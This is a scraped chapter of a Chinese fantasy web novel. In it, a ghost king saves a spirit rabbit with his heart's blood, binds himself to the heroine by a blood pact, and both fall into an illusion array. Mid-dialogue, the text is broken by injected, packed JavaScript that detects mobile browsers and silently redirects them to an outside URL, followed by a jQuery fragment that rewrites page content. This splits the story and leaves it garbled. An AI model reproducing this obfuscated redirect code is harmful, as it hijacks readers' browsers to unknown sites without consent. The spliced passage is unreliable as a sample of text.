默认冷灰
24号文字
方正启体

3. 血契盟友

作者:蓝芒甜甜本书字数:K更新时间:
    枯树林延绵起伏,残枝虬劲,沈令言和鬼王飞身穿过,抵至死水河畔。


    却见绒绒蜷缩在地,旁侧一个亡魂面如金纸,面上一道可怖伤疤擦颧骨而过,他自唇边放下吹魂笛,挑衅地把在手中轻晃,细小眼睛露出阴鸷一笑,似是终于等到了二人。


    “找死!”


    萧长仪煞气凝于掌中,破空挥去,亡魂飞身落入对岸浓雾中,死水河面波纹荡起,轰鸣一声,掀起层层水花,烟雾弥漫。


    他飞身凌空,驻足于河面上,望着对岸笼在一片白茫茫中,虚实不辨,微皱眉头。


    “绒绒!”


    沈令言追至河畔,绒绒四肢瘫软地趴在岸边,往日白白软软的一团如今尽是血污,兔眼闭阖,魂体奄奄一息,隐隐有魂飞魄散的征兆。


    她蹲下身,欲将绒绒捧起,却小心翼翼不敢触碰,柔声唤了几遍未得回应后,她未抬眸,嗓音冷若冰霜:“画魂笔,还我。”


    “没用的。”


    鬼王收回目光,走近沈令言:“兔子是灵物,不是那些怨魂。你的画魂笔对它无用。”


    他亦蹲下身审视,修长的手指轻触白兔魂体,指腹探向伤口:“是怨魂将它打伤了,如今魂飞魄散在即。”


    沈令言眸光凝沉:“有何办法可以救它?”


    “为何要救它?”


    鬼王站起身,漠然应道:


    “我与它非亲非故,它魂飞魄散干我何事?更何况,这只兔子躲在你身后可没少做坏事。”


    他一记冷眼睇过来,“若它不与你串通一气,衔走吹魂笛,本不至于摊上这桩事。如此说来,算是自食其果。”


    沈令言缄默不语,眼皮轻颤,瞬息后抬眸看向萧长仪:


    “先前夺吹魂笛一事,是我做的不对。”


    她仍蹲身于白兔前,轻轻抚摸耷拉在地的长耳,嗓音尤为喑哑:“还请鬼王告诉我,如何才能救它?”


    萧长仪未应。


    “你失了吹魂笛,怨魂难以驱遣,定要寻回,明知夺笛之人,你却凝步不追,定是对岸有可怖之处。”


    沈令言看向萧长仪,眸子淡然:


    “救它,我助你夺回吹魂笛。”


    “你在威胁我?”


    萧长仪侧身回眸,颌骨轮廓凌厉,半边面具透着泠泠寒芒。


    “我在求你。”


    沈令言仰首与他遥遥相视。


    黯淡魂火照耀下,她薄肩挺立,阴风吹着鬓边嵌着的那朵素白绒花簌簌摇晃,挽着乌发的竹簪发出暗绿色的冷光。


    萧长仪负手而立,良久才道:“好。”


    只见他数步走近,弯下腰身,沈令言被一团暗影笼住,仰首投去盈盈对视,呼吸一滞,身形尤镇定自若。


    “借簪子一用。”


    萧长仪抽出那根竹簪,沈令言乌发如瀑而下,全数披在胸前,卷翘的睫羽垂下,微不可查颤动着。


    只见萧长仪蹲在绒绒跟前,将衣襟解开,露出胸前的薄肌来,忽而手执竹簪扎进他的心口,鲜血冒出,淋漓而下。


    沈令言:“你这是……?”


    他手捧殷血灌入绒绒唇中,掌间运力,在白兔的四肢百骸拂过,绒绒兔唇染成赤色,在尽数将鬼王的血吸收后显出本色。


    萧长仪揽起衣袍,复又不紧不慢束好。


    沈令言垂下眼帘,指向他的心口:“你的伤?”


    他散漫的口吻如旧:“只不过一些魂血罢了,不是什么问题。”


    绒绒魂体上的血污变淡,渐渐化为乌有,露出旧日白洁柔软的皮毛来。


    *


    “绒绒”


    绒绒眼皮微动,似有醒来迹象,沈令言又唤了两声,白兔才缓缓睁眼,看到她后,兔眼委屈巴巴地回应了声:“言,言。”


    兔眼流转,留意到沈令言身侧后首的鬼王,正慢条斯理擦着血簪,兔瞳放大,猛地一个鲤鱼打挺,将兔头扎进沈令言的怀中,“他?”


    “哼”,萧长仪轻声冷笑,幽幽出声:“小兔子,如今你与我订了灵契,你现下是我的灵物,应当唤我一声,‘主、人’。”


    “灵契?”沈令言抚摸着白兔脊背,指尖缓缓滑过毛发安抚着它。


    绒绒从沈令言怀中探出头:“我们灵物的灵契,不应以魂体的心头血饲养吗?”


    “你倒是聪明,堪堪可做我的灵物。”


    沈令言:“的确是鬼王以心头血救下的你。”


    “小兔子,叫声主人听听?”萧长仪扬眉,嘴角勾勒出一丝玩味的弧度。


    绒绒睁着圆溜溜的兔眼,忽而认命似的又钻入沈令言怀中,闷闷出声:“主人。”


    萧长仪得逞的笑了笑。


    忽而一阵笛声从对岸远远飘来,河畔魂火剧烈涌动,萧长仪神色微变:“不好。”


    只见对岸白雾越来越浓,沈令言轻问:“对岸究竟是何地?”


    萧长仪将竹簪隐在袖底,鹤立河畔,眉头紧锁:“幻境。”


    “幻境?”


    “这片天地,以死水河为界,分为怨境和幻境。”


    “冤魂怨气大,不下黄泉,皆入怨境。停留此间,冤若不解,只能徒增怨气,戾化成魔,若无画魂师助其解脱,只余魂飞魄散。”


    “而对岸幻境,常年白雾笼罩,其间有离魂阵,传言以亡魂生前经历为幻,魂魄若落于离魂阵阵眼,将循历前世,形如魂飞魄散。”


    “传言?”


    萧长仪:“从无破阵眼而出者,故为传言。”


    沈令言神思猜疑:“那个怨魂故意落入对岸,是为诱我们入幻境离魂阵?”


    萧长仪颌首。


    笛声如缕,死水河上的数点魂火起起浮浮,开始纷纷往对岸飘去。


    沈令言不解:“这些魂火为何均飞向幻境?”


    萧长仪:“吹魂笛本就可驱怨魂,如今他以笛声诱魂火入离魂阵,以此困住怨境亡魂。”


    绒绒窝在沈令言怀中,含着愧意低语:“是我没守住吹魂笛。”


    沈令言抚摸着绒绒,目光看向漫天飞向对岸的魂火隐隐担忧,语气中无半分犹疑:


    “事不宜迟,我们同去对岸,取回吹魂笛。”


    萧长仪身形未动,神色晦暗不明,“幻境离魂阵,是亡魂前世之境,以幻乱真,你虽是生魂,若不慎落入离魂阵中,失去性命,便会成为真正的幽魂,与我们这些已死之人无异,沈姑娘真当要去?”


    沈令言眸光沉寂,喉间发涩:“我阿爹已魂飞魄散,本就事迟。如今若再晚些,这些魂火都落入离魂阵,再无出路。”


    “我不愿他们如此。”


    “言言”,绒绒雪白爪子紧紧抱住沈令言手腕。


    “沈令言”,萧长仪抿唇看向她,俩人视线交汇。


    他自怀中取出那本墨册,翻至记载有沈律的那页:“我骗了你。”


    “沈律其实已入轮回,先前不过是我的障眼法罢了。”


    沈令言目光落定在“轮回”二字,良久未动。


    “你如今不必……”


    “如此再好不过了。”她抬眸嫣然一笑,眼眶却微微发红,“走吧,萧长仪,你已告知我父踪迹,我理应还你吹魂笛。”


    “可对岸浓雾弥漫,你若真受伤怎么办?”绒绒担忧出声。


    “既有死魂与灵物的灵契,便有死魂与生魂的血契。”萧长仪沉稳出声,仿若深潭。


    “血契?”


    萧长仪自袖中抽出她的画魂笔,毫尖仍有扫过她颈侧的血迹,他反扣画魂笔,再扫心口衣襟濡湿处,缓缓开口:


    “魂体相绑,若一方有事,另一方可感。”


    他将画魂笔递给她,眼皮轻掀,“自乾入坤,先巽后离。”


    沈令言一怔,提笔而写,符印落成之际,似有一道血线自笔尖而出,两头分别没入沈令言和萧长仪的心口。


    “血契已成。”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547302|171196||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    走。”


    浓雾之中,萧长仪和沈令言并肩而行,环视四周,绒绒在怀中也警惕地双眼圆睁。


    一道黑气忽破浓雾而来,沈令言侧身避开,再抬眸时萧长仪已不见身影,低头只见怀中空空,绒绒也不见了踪迹。


    沈令言执紧画魂笔,冷冽眼眸盯着迷雾,抿唇徐行。


    忽听得雾中有打斗爆破声,须臾消弭。


    过了一瞬,那面带疤痕的亡魂出现在雾中,挥着玉色长笛,笑容里充满挑衅,道道黑气袭来,沈令言执笔与其相斗,灵气相抵。


    亡魂已被萧长仪打伤,渐往浓雾中退去,沈令言眸光落在他手中长笛上,紧追不舍。


    忽而他站定,阴森森一笑,沈令言脚下一空,如坠深渊。


    她手写符印挥向亡魂,拖住那人脚腕,那人避之不及,惊恐中一同坠下。


    沈令言欲飞身而起却浑身绵软无力,如断线风筝往下跌落,“离魂阵?”


    一只骨节棱棱的手破浓雾而来,紧紧拉住她,目光相触,时光静止。


    “萧长仪”


    俩人身形迅速下坠。


    *


    “咚咚咚”


    战鼓擂擂,万马齐奔,大地发出沉闷的震响,轻击着沈令言的耳膜。


    “萧长仪,萧长仪”


    沈令言双眉紧蹙,忽而睁眼,朦胧视线片刻清晰。


    她一身素衣躺在狭小的帐篷内,映入眼帘的是根硕大的垂柱,四角攒尖的帐布拉下钉在沙土上,一侧是身下简陋木板床,铠甲脱在了床尾,旁侧有方矮桌,另一侧悬着铁钩,炉子垂吊在火上,正煮着东西,旁边似是个碗柜。


    沈令言按住发疼的后脑,触到了厚厚一层裹伤带,目光尤疑思不解,却听见有人掀毡门进来,笑着说道:“你醒了?”


    她抬眸望去,正是先前那个被她消解了怨气的女魂。


    如今那女魂穿着一身干净铠甲,一手托着锃亮的头盔,一手拿着那杆长缨枪,身姿挺拔,尤为飒爽地说道:“醒来正好,这药也煮熟了。”


    女魂将头盔和长枪放在角落,从碗柜中取出一只豁了口的陶碗,将炉中黑糊糊的药汤倒了出来。


    “是你?”沈令言凝眉,“你也进了幻境?”


    女魂闻言露出古怪的眼神,将药碗搁在桌上,又伸手探向她的额间,“莫不是脑子伤到了了?什么虚的幻的?如今连我谢微也记不清了?”


    女魂掌心温热,沈令言将那手捉下来捏了捏,不似那日形容枯槁,寒意侵人,如今这手如同活人手掌一般。


    果然是世俗之境,以幻乱真。


    “阿言”,谢微抽回手,在她面前晃了晃,“你到底怎么了?不会真撞坏脑子了吧?”


    “唔”,沈令言按住眉心揉了揉,“有些事我想不起来。”


    “北辽?”她露出迷蒙的神色。


    谢微听罢也不着急,反而笑道:“你倒还是那个只知道杀北辽的好兵。”


    “罢了,先趁热将药喝了,想不起来的我同你说。”谢微将药碗端过来递给她。


    沈令言目光凝在药汤上,未接。


    “好姐姐,你先帮我试试药凉了没?”


    谢微听了一愣,爽快出声:“好,我替你尝尝。你呀,还记得我是女儿身,我告诉你,这事可不兴说出口。”


    “嗯”


    谢微沾了一口药汤,将碗又递了过来:“我也知道你是想诓我,看药苦不苦。这药如今我也尝了,不苦,你尝尝。”


    沈令言见状接过碗,将药汤喝了。


    谢微见她的唇角下沉,哈哈大笑:“我也算诓了你一回。”


    忽而又凑近沈令言,露出狡黠的眸子:


    “对了,萧长仪是谁?是你的意中人吗?”


    沈令言心头一跳,欲要辩驳。


    忽听见外面一阵喧闹,有人高声在喊:“将军回来了,将军回来了。”


    马蹄声似浪般逼近。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)